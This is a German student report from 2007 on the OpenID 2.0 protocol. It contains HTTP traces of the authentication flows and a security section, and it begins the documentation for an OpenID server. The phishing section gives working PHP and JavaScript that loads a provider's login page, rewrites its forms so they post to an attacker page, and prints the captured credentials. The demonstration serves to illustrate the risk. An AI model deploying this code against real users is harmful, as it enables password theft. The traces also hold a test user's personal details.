&openid.sig=VQbqhWRKQVBKVqWfriSfx7v703s%3D
&openid.signed=assoc_handle%2Cclaimed_id%2Cext0.country%2Cext0.dob%2Cext0.email
%2Cext0.fullname%2Cext0.gender%2Cext0.nickname%2Cext0.postcode
prot-24
15. AUTHENTICATION RESPONSE
Der Browser des User Agents wird zur Relying Party weitergeleitet und übergibt dieser die erhaltenen Daten.
User Agent > Relying Party
Relying-dump1, No 99
GET /login.php?janrain_nonce=2007-06-19T10%3A29%3A18ZLkUsE9
&openid.assoc_handle=%7BHMAC-SHA1%7D%7B46779290%7D%7BhXn%2FBg%3D%3D%7D
&openid.claimed_id=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.ext0.country=CH
&openid.ext0.dob=1982-05-25
&openid.ext0.email=spamtest%40virtualpatient.ch
&openid.ext0.fullname=Loris+Siegenthaler
&openid.ext0.gender=M
&openid.ext0.nickname=beatstream
&openid.ext0.postcode=8640
&openid.identity=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.mode=id_res&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.ns.ext0=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1
&openid.op_endpoint=http%3A%2F%2Fopenid.virtualpatient.ch%2Ftrunk%2Fserver.php
&openid.response_nonce=2007-06-19T08%3A24%3A27ZngNmaQ
&openid.return_to=http%3A%2F%2Fconsumer.virtualpatient.ch%2Flogin.php%3Fjanrain_nonce%3D2007-0619T10%253A29%253A18ZLkUsE9
&openid.sig=VQbqhWRKQVBKVqWfriSfx7v703s%3D
&openid.signed=assoc_handle%2Cclaimed_id%2Cext0.country%2Cext0.dob%2Cext0.email%2Cext0.fullname%2C
ext0.gender%2Cext0.nickname%2Cext0.postcode%2Cidentity%2Cmode%2Cns%2Cns.ext0%2Cop_endpoint%2C
response_nonce%2Creturn_to%2Csigned
Die Relying Party bildet ebenfalls eine Signatur über die erhaltenen Daten und vergleicht diese mit der vom
User Agent erhaltenen Signatur („openid.sig“).
Sind die Signaturen identisch, ist sichergestellt dass die Benutzerinformationen zwischen Provider und Relying
Party nicht verändert wurden und der Benutzer wird mit diesen Informationen angemeldet bzw. registriert.
prot-25
IMMEDIATE REQUESTS
Die Relying Party kann eine Authentifizierungsanfrage an den OpenID Provider senden und ihm gleichzeitig
verbieten, mit dem User-Agent zu interagieren. Diese Authentication Requests werden Immediate Requests
genannt. Der OpenID Provider muss dann unmittelbar zurückmelden, ob die Authentifizierung erfolgreich ist,
oder ob eine Interaktion mit dem Benutzer erforderlich ist um die Anfrage zu bearbeiten.
Es wird nur eine positive Rückmeldung zurückgegeben, wenn der Benutzer sich beim OpenID Provider
authentifiziert hat und die Relying Party eine vertraute Seite des Benutzers ist.
Uns ist keine Relying Party bekannt, die mit Immediate Requests arbeitet. In Zukunft könnte es dem Benutzer
aber die Bestätigungsarbeit beim OpenID Provider abnehmen.
DIAGRAMM
Die Schritte 1, 2 (Discovery) und 3 (Association Negotiation) unterscheiden sich nicht vom normalen Modus.
Auf eine erneute Auflistung der Traces wird deshalb verzichtet.
prot-26
4. AUTHENTICATION REQUEST
Mit „checkid_immediate“ wird dem OpenID Provider mitgeteilt, dass er keine Interaktion mit dem Benutzer
durchführen darf.
Relying Pary > User Agent
Relying-dump3, No 27
HTTP/1.1 302 Found
Date: Thu, 21 Jun 2007 15:19:41 GMT
Server: Apache/2.0.55 (Ubuntu) mod_python/3.2.8 Python/2.4.4c1 PHP/5.1.6
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: http://openid.virtualpatient.ch/trunk/server.php
?openid.assoc_handle=%7BHMAC-SHA1%7D%7B467a7509%7D%7BVG4fiw%3D%3D%7D
&openid.claimed_id=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.identity=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.mode=checkid_immediate
&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.ns.sreg=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1
&openid.realm=http%3A%2F%2Fconsumer.virtualpatient.ch%2F
&openid.return_to=http%3A%2F%2Fconsumer.virtualpatient.ch%2Flogin.php%3Fjanrain_nonce%3D2007-0621T15%253A19%253A42ZwGoJTr
&openid.sreg.optional=email%2Cfullname%2Cdob%2Cgender%2Cpostcode%2Ccountry&openid.sreg.required=nickname
5. AUTHENTICATION RESPONSE
Der OpenID Provider gibt nur eine positive Rückmeldung, wenn der Benutzer angemeldet ist und die Seite in
der Liste der vertrauten Seiten des Benutzers ist. Sonst gibt er mit „setup_needed“ an, dass er unbedingt mit
dem Benutzer interagieren muss.
OpenID Provider > User Agent
Relying-dump3, No 36
HTTP/1.1 302 Found
Date: Thu, 21 Jun 2007 13:14:22 GMT
Server: Apache/2.0.55 (Ubuntu) DAV/2 SVN/1.3.2 PHP/5.1.6
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache
Pragma: no-cache
location: http://consumer.virtualpatient.ch/login.php
?janrain_nonce=2007-06-21T15%3A19%3A42ZwGoJTr
&openid.assoc_handle=%7BHMAC-SHA1%7D%7B467a7509%7D%7BVG4fiw%3D%3D%7D
&openid.claimed_id=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.identity=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.mode=id_res
&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.op_endpoint=http%3A%2F%2Fopenid.virtualpatient.ch%2Ftrunk%2Fserver.php
&openid.response_nonce=2007-06-21T13%3A14%3A22ZaArxtY
&openid.return_to=http%3A%2F%2Fconsumer.virtualpatient.ch%2Flogin.php%3Fjanrain_nonce%3D2007-0621T15%253A19%253A42ZwGoJTr
&openid.sig=ActQNNOq%2FziBzHIkmKzOtcmJsVs%3D
&openid.signed=assoc_handle%2Cclaimed_id%2Cidentity%2Cmode%2Cns%2Cop_endpoint%2Cresponse_nonce
%2Creturn_to%2Csigned
prot-27
DUMB MODE (STATELESS MODE)
Ist die Relying Party nicht in der Lage Statusinformationen zu halten oder grosse Signatur Berechnungen
durchzuführen, kann sie den Dumb Mode benutzen. Im Dumb Mode generiert der OpenID Provider ein privates
Geheimnis um die indirekte Kommunikation über den User-Agent zu signieren. Die Relying Party prüft die
Signatur indem sie eine direkte HTTP Anfrage an den OpenID Provider sendet. Da diese Abfrage für Man-in-theMiddle Attacken anfällig ist, sollte der Dumb Mode vermieden werden.
DIAGRAMM
Die Schritte 1, 2 (Discovery) und 4 sind identisch mit dem Normalen Modus. Auf eine erneute Auflistung der
Traces wird deshalb verzichtet.
3. AUTHENTICATION RE QUEST
Der Benutzer wird direkt an seinen OpenID Provider weitergeleitet. Der OpenID Provider erkennt am Fehlen
der Variable „openid.assoc_handle“, dass die Relying Party den Dumb Mode verwendet und generiert eine
Association mit einem privaten Geheimnis.
prot-28
Relying Party > User Agent
Relying-dump2, No 28
HTTP/1.1 302 Found
Date: Thu, 21 Jun 2007 13:23:28 GMT
Server: Apache/2.0.55 (Ubuntu) mod_python/3.2.8 Python/2.4.4c1 PHP/5.1.6
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: http://openid.virtualpatient.ch/trunk/server.php
?openid.claimed_id=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.identity=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.mode=checkid_setup
&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.ns.sreg=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1
&openid.realm=http%3A%2F%2Fconsumer.virtualpatient.ch%2F
&openid.return_to=http%3A%2F%2Fconsumer.virtualpatient.ch%2Flogin.php%3Fjanrain_nonce%3D2007-0621T13%253A23%253A28ZkbqX8a
&openid.sreg.optional=email%2Cfullname%2Cdob%2Cgender%2Cpostcode%2Ccountry
&openid.sreg.required=nickname
Content-Length: 672
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
5. AUTHENTICATION RESPONSE
Der User-Agent wird zurück an die Relying Party geleitet.
OpenID Provider > User Agent
Relying-dump2, No 51
HTTP/1.1 302 Found
Date: Thu, 21 Jun 2007 11:18:13 GMT
Server: Apache/2.0.55 (Ubuntu) DAV/2 SVN/1.3.2 PHP/5.1.6
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: http://consumer.virtualpatient.ch/login.php?janrain_nonce=2007-06-21T13%3A23%3A28ZkbqX8a
&openid.assoc_handle=%7BHMAC-SHA1%7D%7B467a5e75%7D%7BH8vkmg%3D%3D%7D
&openid.claimed_id=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.identity=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.mode=id_res
&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.op_endpoint=http%3A%2F%2Fopenid.virtualpatient.ch%2Ftrunk%2Fserver.php
&openid.response_nonce=2007-06-21T11%3A18%3A13ZlkIEw1
&openid.return_to=http%3A%2F%2Fconsumer.virtualpatient.ch%2Flogin.php%3Fjanrain_nonce%3D2007-0621T13%253A23%253A28ZkbqX8a
&openid.sig=z5M2EtnFK5gr4lYaGt7KWboxizU%3D
&openid.signed=assoc_handle%2Cclaimed_id%2Cidentity%2Cmode%2Cns%2Cop_endpoint%2Cresponse_nonce
%2Creturn_to%2Csigned
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
prot-29
6. CHECK AUTHENTICAT ION
Da die Relying Party das Geheimnis der Association nicht kennt, muss sie den OpenID Provider fragen ob die
erhaltene Signatur gültig ist.
Relying Party > OpenID Provider
Relying-dump2, No 57
POST /trunk/server.php HTTP/1.0
Host: openid.virtualpatient.ch
Content-type: application/x-www-form-urlencoded
Content-length: 709
openid.assoc_handle=%7BHMAC-SHA1%7D%7B467a5e75%7D%7BH8vkmg%3D%3D%7D
&openid.claimed_id=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.identity=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.mode=check_authentication
&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.op_endpoint=http%3A%2F%2Fopenid.virtualpatient.ch%2Ftrunk%2Fserver.php
&openid.response_nonce=2007-06-21T11%3A18%3A13ZlkIEw1
&openid.return_to=http%3A%2F%2Fconsumer.virtualpatient.ch%2Flogin.php%3Fjanrain_nonce%3D2007-0621T13%253A23%253A28ZkbqX8a
&openid.sig=z5M2EtnFK5gr4lYaGt7KWboxizU%3D
&openid.signed=assoc_handle%2Cclaimed_id%2Cidentity%2Cmode%2Cns%2Cop_endpoint
%2Cresponse_nonce%2Creturn_to%2Csigned
Der OpenID Provider berechnet mit dem privaten Geheimnis der Association „assoc_handle“ die Signatur und
vergleicht diese mit der erhaltenen Signatur „sig“.
OpenID Provider > Relying Party
Relying-dump2, No 59
HTTP/1.1 200 OK
Date: Thu, 21 Jun 2007 11:18:13 GMT
Server: Apache/2.0.55 (Ubuntu) DAV/2 SVN/1.3.2 PHP/5.1.6
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=7a1cbdaf072a78d0d16314026b56d098; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache
Pragma: no-cache
Connection: close
Content-Length: 50
Content-Type: text/html; charset=UTF-8
is_valid:true
ns:http://specs.openid.net/auth/2.0
Stimmen die Signaturen überein, teilt er dies der Relying Party mit. Der Benutzer ist nun authentifiziert.
prot-30
EXTENSIONS
Eine OpenID Extension ist ein Protokoll, welches dem Authentication Request und dem Authentication
Response angehängt wird. Mit Extensions können weitere Daten über die Relying Party sowie über den OpenID
Provider oder den jeweiligen Benutzer ausgetauscht werden.
Jede Extension ist über eine URI eindeutig identifiziert. Jeder OpenID Provider listet sämtliche URIs der
unterstützten Extensions im XRDS Dokument auf. Um übertragene Werte der Extension zuordnen zu können,
wird der Extension ein im Datenpaket eindeutiger Alias zugewiesen.
Beispiel:
openid.ns.myextension=http://openid.hsr.ch/ext/myext/1.0
openid.myextension.foo=hello
„foo“ mit dem Wert „hello“ wird der Extension http://openid.hsr.ch/ext/myext/1.0 zugeordnet.
SIMPLE REGISTRATION EXTENSION 1.1
Die Simple Registration Extension [10] ermöglicht es der Relying Party (Registrierungs-)Daten über den
Benutzer anzufordern. Die Daten die wahlweise als „optional“ oder „required“ angefordert werden können
sind: Nickname, E-Mail Adresse, Name, Geburtsdatum, Geschlecht, Postleitzahl, Land, bevorzugte Sprache und
Zeitzone. Der Benutzer oder der OpenID Provider können aber als „required“ angeforderte Daten weglassen
oder leer senden.
Ein Beispiel für die Anforderung von Registierungsdaten:
User Agent > OpenID Provider
Relying-dump1, No 47
GET /trunk/server.php?openid.assoc_handle=%7BHMAC-SHA1%7D%7B46779290%7D%7BhXn%2FBg%3D%3D%7D
&openid.claimed_id=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.identity=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.mode=checkid_setup
&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.ns.sreg=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1
&openid.realm=http%3A%2F%2Fconsumer.virtualpatient.ch%2F
&openid.return_to=http%3A%2F%2Fconsumer.virtualpatient.ch%2Flogin.php%3Fjanrain_nonce%3D2007-0619T10%253A29%253A18ZLkUsE9
&openid.sreg.optional=email%2Cfullname%2Cdob%2Cgender%2Cpostcode%2Ccountry
&openid.sreg.required=nickname
prot-31
Falls der Benutzer dies wünscht, werden die Daten gesendet:
User Agent > Relying Party
Relying-dump1, No 99
GET /login.php?janrain_nonce=2007-06-19T10%3A29%3A18ZLkUsE9
&openid.assoc_handle=%7BHMAC-SHA1%7D%7B46779290%7D%7BhXn%2FBg%3D%3D%7D
&openid.claimed_id=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.ext0.country=CH
&openid.ext0.dob=1982-05-25
&openid.ext0.email=spamtest%40virtualpatient.ch
&openid.ext0.fullname=Loris+Siegenthaler
&openid.ext0.gender=M
&openid.ext0.nickname=beatstream
&openid.ext0.postcode=8640
&openid.identity=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.mode=id_res&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.ns.ext0=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1
&openid.op_endpoint=http%3A%2F%2Fopenid.virtualpatient.ch%2Ftrunk%2Fserver.php
ASSERTION QUALITY EX TENSION 1.0
Mit der Assertion Quality Extension [11] kann die Relying Party in Erfahrung bringen, ob und wie die Daten des
Benutzers vom OpenID Provider überprüft wurden und mit welchem Authentifizierungsverfahren (Passwort,
Smartcard, Iriserkennung, usw.) sich der Benutzer am OpenID Provider authentifiziert hat. Des Weiteren weiss
die Relying Party, welche Authentifizierungsverfahren der OpenID Provider unterstützt und kann ein
bestimmtes Verfahren verlangen. Der grosse Vorteil besteht nun darin, dass die Relying Party bei zu unsicheren
OpenID Providern eine Authentifizierung abbrechen kann.
OPENID ATTRIBUTE EXCHANGE 1.0
Die OpenID Attribute Exchange [12] Spezifikation ermöglicht es, erweiterte Informationen (Attributes) eines
Benutzers vom OpenID Provider zu erfahren. Jedes Attribut wird dabei durch eine eindeutige URI adressiert.
Zusätzlich kann die Relying Party nicht nur Attribute des Benutzers anfordern, sondern auch zur Speicherung
dem OpenID Provider senden. Somit stehen diese fortan auch anderen Relying Parties zur Verfügung.
prot-32
SICHERHEIT
PHISHING
Das grösste Sicherheitsproblem bei OpenID ist Phishing. Anstatt den User-Agent zu seinem OpenID Provider
weiterzuleiten, kann eine böse Relying Party den User-Agent an einen Fake-Provider weiterleiten. Der FakeProvider imitiert den OpenID Provider des Benutzers und kann sein Passwort abfangen. Alles was der Phisher
dazu braucht, ist eine für den Benutzer interessante Internetseite.
Die einzige Lösung des Problems ist die Passwort-Authentifizierung nicht mehr zu verwenden. Die einfachste
und sicherste Alternative ist die Verwendung von SSL mit Clientzertifikaten. Sofern der Benutzer sein
Clientzertifikat privat hält, ist die Authentifizierung sicher. Professionelle OpenID Provider bieten die
Zertifikatauthentifizierung an.
prot-33
BEISPIEL
An dieser Stelle demonstrieren wir, wie einfach man eine Relying Party aufsetzt, die den OpenID Provider des
Benutzers imitiert und das Passwort abfängt.
Eine Möglichkeit wäre, alle Login Seiten populärer Provider einfach nachzubauen und je nach eingegebener
OpenID URL den Benutzer darauf zu verweisen. Wir verwenden hier allerdings eine etwas komplizierte, dafür
allgemeinere Methode: [13]
1.
Der Benutzer gibt seine OpenID ein.
2.
Anhand der OpenID leiten wir den Benutzer, nicht wie üblichen an seinen Provider weiter, sondern laden
nur dessen Login Seite und stellen sie dar.
3.
Da wir die Seite selber darstellen, haben wir die volle Kontrolle und können alle Benutzereingaben, also
auch das eingegebene Passwort, abfangen.
prot-34
Implementation:
Als erstes brauchen wir eine für den Benutzer interessante Webseite mit einem OpenID Login. Wir verwenden
hier unser Gästebuch.
Die für das Login verantwortliche Seite ist startlogin.php. Normalerweise wir der Benutzer mit
startlogin.php: Original
header("Location: ".$redirect_url)
an die mittels Yadis Discovery aufgelöste Seite seines OpenID Providers ($redirect_url) weitergeleitet. Diesen
Redirect ersetzen wir durch:
startlogin.php: Modifiziert
$phishjs = "http://consumer.virtualpatient.ch/phishing/phish.js";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $redirect_url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
$data = curl_exec($ch);
curl_close($ch);
$data = preg_replace("/<\/body>/i", "<script type=\"text/javascript\" src=\"$phishjs\"></script></body>", $data);
echo $data;
Mit curl_setopt($ch, CURLOPT_URL, $redirect_url) wird die Login Seite des Providers geladen. Dann werden
alle gespeicherten Cookies überschrieben, so dass der Benutzer gezwungen wird sich mit Benutzername und
Passwort anzumelden.
prot-35
Der modifizierten Seite wird noch folgender JavaScript Code angehängt.
phish.js:
var forms = document.getElementsByTagName("form");
for(i = 0; i < forms.length; i++) {
forms[i].setAttribute("method", "get");
forms[i].setAttribute("action", "http://consumer.virtualpatient.ch/phishing/phish.php");
}
Dieser JavaScript Code durchsucht die geladene Seite nach Formularen und verändert deren Aktion beim
Drücken des Submit Buttons.
In diesem Beispiel wird danach folgende Seite geladen, welche die ausgelesenen Informationen anzeigt.
phish.php:
<p> We have extracted the following information: </p>
<pre>
<?php foreach($_GET as $key => $value) {
echo "$key = $value\n";
}
foreach($_POST as $key => $value) {
echo "$key = $value\n";
} ?>
</pre>
prot-36
MAN IN THE MIDDLE
Das durch die Assoziation ausgehandelte gemeinsame Geheimnis wird zum Signieren der Authentication
Responses verwendet und garantiert somit die Integrität. Mögliche Angriffspunkte für Man-in-the-Middle
Attacken sind das Discovery, Association Negotiation und die Prüfung der Signatur im Dumb Mode. Ist der
Attacker in der Lage, z.B. durch DNS Spoofing, den Datenverkehr über sich weiterleiten zu lassen, kann er
sämtliche übertragene Daten lesen und verändern.
Nur die konsequente Verwendung von öffentlich signierten SSL Zertifikaten verhindert solche Attacken. Um die
Integrität voll zu gewährleisten, muss deshalb bei jeder Interaktion SSL verwendet werden.
REPLAY ATTACKEN
Damit böse User-Agents sich nicht durch einfaches Wiederholen eines erfolgreichen Authentication Responses
an der Relying Party anmelden können, werden auf dem OpenID Provider die Daten mit einmaligen Nonces und
Timestamps signiert. Die Relying Party muss nur prüfen, ob sie die Nonce und den Timestamp nicht schon
einmal vom OpenID Provider erhalten hat. Das Problem der Replay Attacken ist somit gelöst.
prot-37
GLOSSAR
SSO
Identifier
User-Agent
Relying Party
OpenID Provider
OpenID URL
Yadis
Single-Sign-On: Einmaliges Anmelden für mehrere Webseiten
Entweder eine http oder https URI (http://en.wikipedia.org/wiki/URI)
oder eine XRI (http://en.wikipedia.org/wiki/XRI).
Webbrowser des Endbenutzers
Auch Consumer genannt. Web Anwendung, welche die Anmeldung mittels OpenID
unterstützt.
Kurz OP, bieten den Benutzern OpenID URLs an. Nehmen Anfragen von Relying
Partys an und sendet diesen die angeforderten Benutzer Daten.
Auch User-Supplied Identifier oder einfach OpenID genannt.
Eindeutige URL zur Benutzeridentifikation. z.B.:
http://openid.virtualpatient.ch/id/beatstream
Unter Yadis versteht man ein Protokoll und ein Datenformat mit dem
Informationen über unterstützte Dienste einer HTTP-URL abgerufen werden
können.
prot-38
LITERATURVERZEICHNNIS
[1] OpenID Geschichte: http://openidgermany.de/openid-historie/
[2] OpenID Statistik von JanRain CEO Kveton: http://kveton.com/blog/2007/04/02/state-of-openid-april-2007by-the-numbers/
[3] OpenID Authentication 2.0 Draft 11 Spezifikation: http://openid.net/specs/openid-authentication-2_011.html
[4] JanRain Homepage: http://janrain.com/
[5] Sxip Code Homepage: http://code.sxip.com/
[6] NetMesh Homepage: http://netmesh.us/
[7] XRI Identifier: Spezielle URI, die unabhängig von der Domain oder Kommunikationsprotokoll ist:
http://en.wikipedia.org/wiki/XRI
[8] Yadis Protokoll: Service Discovery Protokoll von OpenID: http://yadis.org/papers/yadis-v1.0.pdf
[9] Diffie Hellman Generator und Modulus Standardwerte sind in der Spezifikation unter
http://openid.net/specs/openid-authentication-2_0-11.html#anchor17 definiert.
[10] Simple Registration Extension 1.1 Draft 1:
http://openid.net/specs/openid-simple-registration-extension-1_1-01.html
[11] Assertion Quality Extension 1.0 Draft 3 Spezifikation: http://openid.net/specs/openid-assertion-qualityextension-1_0-03.html
[12] OpenID Attribute Exchange 1.0 Draft 5 Spezifikation: http://openid.net/specs/openid-attribute-exchange1_0-05.html
[13] Phishing Beispiel: http://openid.marcoslot.net/
prot-39
OpenID 2.0 Server
Studienarbeit SS 07
Dieses Dokument beschreibt die Installation, Konfiguration und
das interne Design des standalone OpenID 2 Providers OpenID
2.0 Server.
Loris Siegenthaler
David Benninger
Betreuer: Prof. Dr. Andreas Steffen
INHALTSVERZEICHNIS
Einführung ............................................................................................................................................................... 4
Features .................................................................................................................................................................. 4
Voraussetzungen ..................................................................................................................................................... 4
Installation .............................................................................................................................................................. 4
Konfiguration .......................................................................................................................................................... 6
Konfigurationsdatei ............................................................................................................................................. 6
Konfigurationsassistent ....................................................................................................................................... 6
Design...................................................................................................................................................................... 7
Übersicht ............................................................................................................................................................. 7
Session Management .......................................................................................................................................... 8
Template System ................................................................................................................................................. 8
Ordnerstruktur .................................................................................................................................................... 9
Datenbankmodell .............................................................................................................................................. 10
Datenbank openidaccounts .......................................................................................................................... 10
Datenbank openid2 ....................................................................................................................................... 10
Klassendiagramme ............................................................................................................................................ 11
Klasse Controller ........................................................................................................................................... 11
Klasse MultiLanguageSmarty ........................................................................................................................ 11
Klasse MySQL ................................................................................................................................................ 12
Mehrsprachigkeit .............................................................................................................................................. 12
Erweiterungen ....................................................................................................................................................... 13
Eigenes Web-Design .......................................................................................................................................... 13
Hinzufügen einer neuen Sprache ...................................................................................................................... 14
Mit Rewrite Rule zu einer einfacheren OpenID URL ......................................................................................... 15
Apache Konfiguration.................................................................................................................................... 15
OpenID 2 Server Konfiguration ..................................................................................................................... 15
srv-2
Anhang .................................................................................................................................................................. 16
Evaluation einer OpenID Library ....................................................................................................................... 16
Literaturverzeichnis ........................................................................................................................................... 17
srv-3
EINFÜHRUNG
Der OpenID 2.0 Server ist ein einfach installierbarer OpenID 2.0 Provider. Die einfach gestaltete Web
Oberfläche bietet nicht nur eine komplette Account Verwaltung sondern kommt auch noch in zwei Sprachen –
Deutsch und Englisch – daher.
Mit einem LAMP-Server (Linux-Apache-MySQL-PHP) und dem OpenID 2.0 Server kann jedermann innerhalb
kürzester Zeit einen eigenen OpenID 2.0 Provider betreiben.
FEATURES
Der OpenID 2 Server bietet folgende Features:
OpenID 2.0 Authentication [1]
OpenID Simple Registration Extension 1.1 [2]
Accountregistrierung und -verwaltung
Mehrsprachigkeit (Deutsch, Englisch)
Volle Anpassbarkeit des Designs der Web Oberfläche
VORAUSSETZUNGEN
Folgende Punkte gelten als Voraussetzung für eine erfolgreiche Installation:
1.
PHP 5
2.
MySQL Server ab Version 4
3.
Apache Webserver
INSTALLATION
Die folgende Installationsanleitung gilt für Debian basierte Distributionen, wie z.B. Ubuntu:
1.
2.
Install PEAR
a.
apt-get install php-pear
b.
restart apache
Install PEAR-DB
a.
wget http://download.pear.php.net/package/DB-1.7.11.tgz
b.
pear install DB-1.7.11.tgz
srv-4
3.
4.
5.
6.
7.
Install Smarty
a.
wget http://smarty.php.net/do_download.php?download_file=Smarty-2.6.18.tar.gz
b.
tar -zxvf Smarty-2.6.18.tar.gz
c.
mkdir --parents /usr/local/lib/php/Smarty
d.
cp -R Smarty-2.6.18/libs/* /usr/local/lib/php/Smarty
Install patched JanRain PHP OpenID2 Library
a.
wget http://openid.virtualpatient.ch/downloads/server/PHP-openid-2.0.0-rc2-patched.tar.gz
b.
tar -zxvf PHP-openid-2.0.0-rc2-patched.tar.gz
c.
cp -R PHP-openid-2.0.0-rc2-patched/Auth /usr/share/php/
Install OpenID2 Server
a.
wget http://openid.virtualpatient.ch/downloads/server/openid2_server.tar.gz
b.
tar -zxvf openid2_server.tar.gz
c.
mkdir /var/www/openid2/
d.
cp -R trunk/* /var/www/openid2/
Create Smarty compile directories
a.
mkdir /var/www/openid2/templates_c
b.
chown www-data:www-data /var/www/openid2/templates_c
c.
mkdir /var/www/openid2/cache
d.
chown www-data:www-data /var/www/openid2/cache
Create Database
a.
8.
mysql> create database openid2;
Basic Configuration
a.
go to: http://yourdomain.com/openid2/start.php
b.
Follow the configuration wizard instructions
Weitere Anpassungen der Konfiguration, z.B. Umschaltung auf das HSR ITA Design, werden direkt in der
Konfigurationsdatei „incl/config.php“ vorgenommen.
srv-5
KONFIGURATION
KONFIGURATIONSDATEI
Sämtliche Konfigurationseinstellungen sind in der Datei „config.php“ im Verzeichnis „incl“ zusammengefasst.
Sie enthält PHP Define Anweisungen und ist somit in einem einfachen Key-Value Format. Die Datei wird bei
jedem Seitenaufruf neu eingelesen. Änderungen werden somit sofort aktiv.
KONFIGURATIONSASSISTENT
Mit dem Konfigurationsassistenten kann die Konfigurationsdatei config.php einfach und schnell erstellt
werden. Beim ersten Besuch nach der Installation erscheint der Konfigurationsassistent automatisch. Später
kann er über die Seite start.php jederzeit ausgeführt werden.
Wechseln der
Sprache
Es können noch
unerwartete
Fehler auftreten.
Eventuelle Fehler
beim Prüfen der
Angaben werden
hier angezeigt.
Bei Bedarf müssen
die Angaben
angepasst
werden.
Beim Klick auf
„Weiter“ werden
die Angaben
geprüft und die
Konfiguration
ausgegeben.
Die Ausgabe des Konfigurationsassistenten muss per Copy&Paste in die Datei „config.php“ im Verzeichnis „incl“
übertragen werden. Die Konfiguration wird sofort aktiv.
srv-6
DESIGN
ÜBERSICHT
Der OpenID 2.0 Server ist eine 100%-ig PHP basierte Web Applikation und kann somit auf jedem aktuellen
LAMP (Linux-Apache-MySQL-PHP) Server einfach betrieben werden. Um spätere Anpassungen möglichst
einfach zu gestalten, wurde eine typische 3-Schicht Architektur (Datenhaltung, Businesslogik, Präsentation)
gewählt.
Das folgende Diagramm zeigt die verschiedenen Komponenten im Datenhaltungs- und Businesslayer des
OpenID 2.0 Servers und deren Interaktionen.
Der MySQL Server hält zwei Datenbanken. Die Datenbank „openid2“ speichert die Nonces und die
Assoziationen mit der OpenID Relying Party. Die Datenbank „openidaccounts“ speichert die Benutzer Accounts
und deren Informationen. Der PHP Session Store speichert sämtliche Daten über die aktuell angemeldeten
Benutzer. Die beiden Dateien im WWW Root Verzeichnis des Webservers kümmern sich um die Interaktion mit
der Relying Party und dem Benutzer.
srv-7
SESSION MANAGEMENT
Es wird das Session Management von PHP für die Speicherung des Sitzungszustandes verwendet. Der Browser
des Benutzers erhält dabei ein Cookie zur Identifizierung. Beim Benutzer-Login werden sämtliche
Benutzerdaten aus der Datenbank geladen und in die Sitzung gespeichert. Somit muss nur bei
Datenmanipulationen oder bei erneutem Login auf die Datenbank zugegriffen werden.
TEMPLATE SYSTEM
Um die Businesslogik möglichst klar von der Präsentation zu trennen, wurde die Smarty Template Engine für
die Präsentationsschicht verwendet. Da Smarty die Templates automatisch in PHP Code übersetzt, gibt es nur
einen minimalen Laufzeit-Overhead. Zudem kann das Design ohne Programmierkenntnisse angepasst werden.
Da Smarty standardmässig keine Mehrsprachigkeit unterstützt, wurde es von uns mit diesem Feature
erweitert.
Weitere Informationen über Smarty sind auf der Internetseite smarty.php.net zu finden.
srv-8
ORDNERSTRUKTUR
